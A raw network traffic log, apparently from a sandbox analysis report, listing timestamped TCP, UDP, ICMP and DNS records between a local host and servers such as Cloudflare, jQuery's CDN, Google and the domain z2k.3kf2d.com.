Oct 7, 2024 21:55:17.277475119 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.277498960 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.277528048 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.277585983 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.277590990 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.277730942 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.277740955 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.277759075 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.277795076 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.277826071 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.277846098 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.277893066 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.277952909 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.277993917 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.278036118 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.278078079 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.278120041 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.278171062 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.278251886 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.278302908 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.278350115 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.278400898 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.278435946 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.278477907 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.278733015 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.278788090 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.278908014 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.278958082 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.279022932 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.279067993 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.359111071 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.359185934 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.359190941 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.359206915 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.359241009 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.359251976 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.359251976 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.359266043 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.359302044 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.359313965 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.359355927 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.359366894 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.359373093 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.359395981 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.359566927 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.359612942 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.359617949 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.359630108 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.359657049 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.359662056 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.359678030 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.359699011 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.359734058 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.359740019 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.359745979 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.359780073 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.360160112 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.360210896 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.360215902 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.360285044 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.360330105 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.360451937 CEST	50096	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.360469103 CEST	443	50096	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.366676092 CEST	50097	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.366728067 CEST	443	50097	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.366887093 CEST	50097	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.366996050 CEST	50097	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:17.367006063 CEST	443	50097	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.824665070 CEST	443	50097	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:17.876709938 CEST	50097	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:18.011171103 CEST	50097	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:18.011198044 CEST	443	50097	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:18.012650013 CEST	443	50097	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:18.026894093 CEST	50097	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:18.027041912 CEST	50097	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:18.027091026 CEST	443	50097	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:18.067739964 CEST	50097	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:18.125895977 CEST	50098	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:18.125941992 CEST	443	50098	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:18.126029968 CEST	50098	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:18.126266956 CEST	50098	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:18.126277924 CEST	443	50098	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:18.139663935 CEST	443	50097	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:18.139734983 CEST	443	50097	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:18.139777899 CEST	50097	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:18.140141964 CEST	50097	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:18.140155077 CEST	443	50097	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:18.580759048 CEST	443	50098	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:18.581090927 CEST	50098	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:18.581124067 CEST	443	50098	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:18.581584930 CEST	443	50098	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:18.581864119 CEST	50098	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:18.581954002 CEST	443	50098	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:18.582003117 CEST	50098	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:18.623411894 CEST	443	50098	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:18.624860048 CEST	50098	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:18.730995893 CEST	443	50098	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:18.731096983 CEST	443	50098	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:18.731147051 CEST	50098	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:18.731180906 CEST	443	50098	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:18.731195927 CEST	443	50098	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:18.731246948 CEST	50098	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:18.732862949 CEST	50098	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:18.732882977 CEST	443	50098	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:19.107672930 CEST	50099	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:19.107712984 CEST	443	50099	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:19.107790947 CEST	50099	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:19.108015060 CEST	50099	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:19.108023882 CEST	443	50099	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:20.497554064 CEST	443	50099	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:20.497832060 CEST	50099	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:20.497857094 CEST	443	50099	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:20.498533964 CEST	443	50099	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:20.498823881 CEST	50099	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:20.498912096 CEST	443	50099	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:20.498987913 CEST	50099	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:20.543401003 CEST	443	50099	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:20.812329054 CEST	443	50099	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:20.812427044 CEST	443	50099	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:20.812500000 CEST	50099	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:20.814313889 CEST	50099	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:20.814333916 CEST	443	50099	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:20.868355036 CEST	50100	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:20.868407011 CEST	443	50100	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:20.868482113 CEST	50100	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:20.868691921 CEST	50100	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:20.868701935 CEST	443	50100	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:20.871947050 CEST	50101	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:20.872003078 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:20.872061968 CEST	50101	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:20.872338057 CEST	50101	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:20.872350931 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:20.976103067 CEST	443	50092	142.250.184.196	192.168.2.5
Oct 7, 2024 21:55:20.976269960 CEST	443	50092	142.250.184.196	192.168.2.5
Oct 7, 2024 21:55:20.976346970 CEST	50092	443	192.168.2.5	142.250.184.196
Oct 7, 2024 21:55:21.179491997 CEST	50092	443	192.168.2.5	142.250.184.196
Oct 7, 2024 21:55:21.179527998 CEST	443	50092	142.250.184.196	192.168.2.5
Oct 7, 2024 21:55:21.310754061 CEST	443	50100	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.311126947 CEST	50100	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.311151028 CEST	443	50100	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.311676979 CEST	443	50100	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.311971903 CEST	50100	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.312066078 CEST	443	50100	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.312086105 CEST	50100	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.314364910 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.314584017 CEST	50101	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.314623117 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.315072060 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.315351963 CEST	50101	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.315447092 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.315458059 CEST	50101	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.315558910 CEST	50101	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.315598965 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.315709114 CEST	50101	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.315740108 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.355408907 CEST	443	50100	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.362433910 CEST	50100	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.447602987 CEST	443	50100	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.447695971 CEST	443	50100	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.447825909 CEST	50100	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.448633909 CEST	50100	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.448656082 CEST	443	50100	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.579433918 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.579550028 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.579639912 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.579644918 CEST	50101	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.579687119 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.579725981 CEST	50101	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.579734087 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.580420971 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.580483913 CEST	50101	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.580497980 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.580578089 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.580616951 CEST	50101	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.580625057 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.580702066 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.580741882 CEST	50101	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.580749035 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.625622034 CEST	50101	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.625649929 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.671435118 CEST	50101	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.680180073 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.680346012 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.680423021 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.680433035 CEST	50101	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.680468082 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.680511951 CEST	50101	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.680524111 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.680602074 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.680649996 CEST	50101	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.680659056 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.680737972 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.680779934 CEST	50101	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.680788040 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.680923939 CEST	50101	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.680927992 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.680958986 CEST	443	50101	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.680977106 CEST	50101	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.698549032 CEST	50102	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.698600054 CEST	443	50102	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:21.698791981 CEST	50102	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.698884010 CEST	50102	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:21.698895931 CEST	443	50102	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:22.303056002 CEST	443	50102	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:22.326250076 CEST	50102	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:22.326287031 CEST	443	50102	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:22.326901913 CEST	443	50102	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:22.327188969 CEST	50102	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:22.327270031 CEST	443	50102	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:22.327338934 CEST	50102	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:22.371407986 CEST	443	50102	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:22.452553988 CEST	443	50102	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:22.452656031 CEST	443	50102	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:22.452722073 CEST	50102	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:22.484134912 CEST	50102	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:22.484174967 CEST	443	50102	104.18.94.41	192.168.2.5
Oct 7, 2024 21:56:09.479357004 CEST	50103	443	192.168.2.5	142.250.184.196
Oct 7, 2024 21:56:09.479415894 CEST	443	50103	142.250.184.196	192.168.2.5
Oct 7, 2024 21:56:09.479485035 CEST	50103	443	192.168.2.5	142.250.184.196
Oct 7, 2024 21:56:09.479861975 CEST	50103	443	192.168.2.5	142.250.184.196
Oct 7, 2024 21:56:09.479875088 CEST	443	50103	142.250.184.196	192.168.2.5
Oct 7, 2024 21:56:10.095282078 CEST	443	50103	142.250.184.196	192.168.2.5
Oct 7, 2024 21:56:10.095674038 CEST	50103	443	192.168.2.5	142.250.184.196
Oct 7, 2024 21:56:10.095715046 CEST	443	50103	142.250.184.196	192.168.2.5
Oct 7, 2024 21:56:10.096788883 CEST	443	50103	142.250.184.196	192.168.2.5
Oct 7, 2024 21:56:10.101062059 CEST	50103	443	192.168.2.5	142.250.184.196
Oct 7, 2024 21:56:10.101142883 CEST	443	50103	142.250.184.196	192.168.2.5
Oct 7, 2024 21:56:10.143174887 CEST	50103	443	192.168.2.5	142.250.184.196

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 21:53:04.885864019 CEST	54881	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:53:04.886025906 CEST	59406	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:53:04.894064903 CEST	53	57895	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:04.898966074 CEST	53	54881	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:04.903886080 CEST	53	59406	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:04.907095909 CEST	53	55731	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:05.975411892 CEST	53	57286	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:07.145811081 CEST	61324	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:53:07.146126032 CEST	60488	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:53:07.146744967 CEST	52191	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:53:07.147139072 CEST	61800	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:53:07.147533894 CEST	61411	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:53:07.147829056 CEST	60184	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:53:07.153141022 CEST	53	60488	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:07.153722048 CEST	53	52191	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:07.154098034 CEST	53	61800	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:07.154350042 CEST	53	61324	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:07.154863119 CEST	53	61411	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:07.155076981 CEST	53	60184	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:07.858108997 CEST	56724	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:53:07.858295918 CEST	50340	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:53:07.865346909 CEST	53	50340	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:07.866082907 CEST	53	56724	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:07.899133921 CEST	52506	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:53:07.899446011 CEST	65285	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:53:07.906167984 CEST	53	52506	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:07.906207085 CEST	53	65285	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:08.548217058 CEST	52962	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:53:08.551345110 CEST	62487	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:53:08.555495024 CEST	53	52962	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:08.558634043 CEST	53	62487	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:08.888478994 CEST	65140	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:53:08.888768911 CEST	51136	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:53:08.896285057 CEST	53	51136	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:08.896421909 CEST	53	65140	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:09.299673080 CEST	58971	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:53:09.299807072 CEST	55875	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:53:09.312475920 CEST	53	58971	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:09.312516928 CEST	53	55875	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:11.543227911 CEST	50202	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:53:11.543405056 CEST	52396	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:53:11.550987959 CEST	53	50202	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:11.551422119 CEST	53	52396	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:23.057543039 CEST	53	62716	1.1.1.1	192.168.2.5
Oct 7, 2024 21:53:41.838748932 CEST	53	64748	1.1.1.1	192.168.2.5
Oct 7, 2024 21:54:04.183891058 CEST	53	50535	1.1.1.1	192.168.2.5
Oct 7, 2024 21:54:04.531440020 CEST	53	65038	1.1.1.1	192.168.2.5
Oct 7, 2024 21:54:32.433809996 CEST	53	56183	1.1.1.1	192.168.2.5
Oct 7, 2024 21:55:09.424607992 CEST	49699	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:55:09.424762011 CEST	63841	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:55:10.439728975 CEST	56852	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:55:10.440083981 CEST	57846	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:55:10.459857941 CEST	53	63841	1.1.1.1	192.168.2.5
Oct 7, 2024 21:55:10.459889889 CEST	53	49699	1.1.1.1	192.168.2.5
Oct 7, 2024 21:55:10.462507010 CEST	53	57846	1.1.1.1	192.168.2.5
Oct 7, 2024 21:55:10.462726116 CEST	53	56852	1.1.1.1	192.168.2.5
Oct 7, 2024 21:55:16.275943041 CEST	52905	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:55:16.276101112 CEST	54633	53	192.168.2.5	1.1.1.1
Oct 7, 2024 21:55:16.284849882 CEST	53	54633	1.1.1.1	192.168.2.5
Oct 7, 2024 21:55:16.284882069 CEST	53	52905	1.1.1.1	192.168.2.5
Oct 7, 2024 21:55:18.540730000 CEST	53	55053	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 7, 2024 21:55:10.462572098 CEST	192.168.2.5	1.1.1.1	c1fe	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 21:53:04.885864019 CEST	192.168.2.5	1.1.1.1	0x1164	Standard query (0)	z2k.3kf2d.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:04.886025906 CEST	192.168.2.5	1.1.1.1	0x9f1e	Standard query (0)	z2k.3kf2d.com	65	IN (0x0001)	false
Oct 7, 2024 21:53:07.145811081 CEST	192.168.2.5	1.1.1.1	0x4a78	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:07.146126032 CEST	192.168.2.5	1.1.1.1	0x47d7	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 7, 2024 21:53:07.146744967 CEST	192.168.2.5	1.1.1.1	0x663e	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:07.147139072 CEST	192.168.2.5	1.1.1.1	0x5db	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 7, 2024 21:53:07.147533894 CEST	192.168.2.5	1.1.1.1	0x5eb8	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:07.147829056 CEST	192.168.2.5	1.1.1.1	0xd874	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 7, 2024 21:53:07.858108997 CEST	192.168.2.5	1.1.1.1	0xf954	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:07.858295918 CEST	192.168.2.5	1.1.1.1	0x64cc	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 7, 2024 21:53:07.899133921 CEST	192.168.2.5	1.1.1.1	0xc209	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:07.899446011 CEST	192.168.2.5	1.1.1.1	0x1d20	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 7, 2024 21:53:08.548217058 CEST	192.168.2.5	1.1.1.1	0x4fca	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:08.551345110 CEST	192.168.2.5	1.1.1.1	0xd5bc	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 7, 2024 21:53:08.888478994 CEST	192.168.2.5	1.1.1.1	0x6d2	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:08.888768911 CEST	192.168.2.5	1.1.1.1	0xb66c	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 7, 2024 21:53:09.299673080 CEST	192.168.2.5	1.1.1.1	0x6988	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:09.299807072 CEST	192.168.2.5	1.1.1.1	0x697b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 7, 2024 21:53:11.543227911 CEST	192.168.2.5	1.1.1.1	0x8d39	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:11.543405056 CEST	192.168.2.5	1.1.1.1	0x2cae	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Oct 7, 2024 21:55:09.424607992 CEST	192.168.2.5	1.1.1.1	0x242a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:55:09.424762011 CEST	192.168.2.5	1.1.1.1	0xf219	Standard query (0)	www.google.com	65	IN (0x0001)	false
